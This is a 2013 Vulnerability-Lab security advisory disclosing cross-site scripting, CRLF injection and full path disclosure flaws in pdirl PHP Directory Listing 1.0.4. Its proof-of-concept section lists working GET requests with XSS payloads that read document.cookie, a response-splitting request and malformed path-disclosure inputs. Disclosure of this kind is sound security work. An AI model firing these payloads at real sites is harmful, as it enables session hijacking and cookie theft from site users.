Document Title:

pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1130

Release Date:

2013-11-01

Vulnerability Laboratory ID (VL-ID):

1130

Common Vulnerability Scoring System:

3.4

Product & Service Introduction:

pdirl (PHPDirListing) is a tiny directory listing program. It is meant to be better looking and more useful than the
directory listings produced by Apache. I didn`t want to reinvent the wheel so I looked for an existing PHP script and
I ve found PHPDL by Greg Johnson, I added some features to it. (1.0.x is no longer based on PHPDL.)

(Copy of the Vendor Homepage: http://pdirl.newroots.de/ )

Abstract Advisory Information:

An independent Vulnerability Laboratory Researcher discovered multiple web vulnerabilities in the pdirl PHP Listing v1.0.4 web-application.

Vulnerability Disclosure Timeline:

2013-11-01: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

Greg Johnson
Product: pdirl PHP Listing - Web Application 1.0.4

Exploitation Technique:

Remote

Severity Level:

Medium

Technical Details & Description:

Multiple client-side cross site scripting vulnerabilities are detected in the official pdirl PHP Directory Listing web-application.
The vulnerability allows remote attackers to manipulate via GET method web-application to browser requests (client-side).

The client-side cross site scripting web vulnerability is located in the vulnerable index.php file and the id path value.
Remote attackers can manipulate the `index.php` file GET method request with the vulnerable ./pdirl path value to compromise
client-side web application context.

Successful exploitation of the client-side cross site scripting web vulnerability results in session hijacking, client-side
phishing, client-side unauthorized external redirects and client-side manipulation of the contact formular module context.

Vulnerable Module(s):
[+] .pdirl

Vulnerable File(s):
[+] index.php

Vulnerable Path:
[+] …/icons/
[+] …/icons/default
[+] …/template/
[+] …/template/default
[+] …/.pdirl/templates

Proof of Concept (PoC):

The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without privileged web application user
account but with low user interaction. For demonstration or to reproduce …

PoC: CS Cross Site Scripting

GET /[PATH]/?"onmouseover='prompt(7331)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/icons/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/.pdirl/icons/default/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/default/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/index.php/%22onmouseover%3d'prompt(document.cookie)'bad%3d%22> HTTP/1.1
GET /[PATH]/index.php?directory=.pdirl/templates/%22%20onmouseover%3dprompt(7331)%20bad%3d%22 HTTP/1.1

PoC: CRLF injection/HTTP Response Splitting
GET /[PATH]/index.php?directory=%0d%0a%20[CSRF:FORM:INJECT!]&sortkey=name

PoC: Full Path Disclosure Links
GET /[PATH]/index.php?directory='"\'\");|]{%0d%0a<%00>%bf%27'&sortkey=name&sortorder=SORT_DESC HTTP/1.1
GET /[PATH]/index.php?directory='"\'\");|]{%0d%0a<%00>%bf%27'&gosearch=Search… HTTP/1.1
GET /[PATH]/index.php?directory=./&gosearch='"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
GET /[PATH]/index.php?directory=./?directory=./&search=…%c0%af HTTP/1.1

Security Risk:

1.1
The security risk of the client-side cross site scripting web vulnerabilities are estimated as medium.

1.2
The security risk of the client-side cross site request forgery web vulnerability is estimated as medium(-).

1.3
The security risk of the full path disclosure issue is estimated as low.

Credits & Authors:

lincoln.dll ([email protected]) [www.hackinq.pl]

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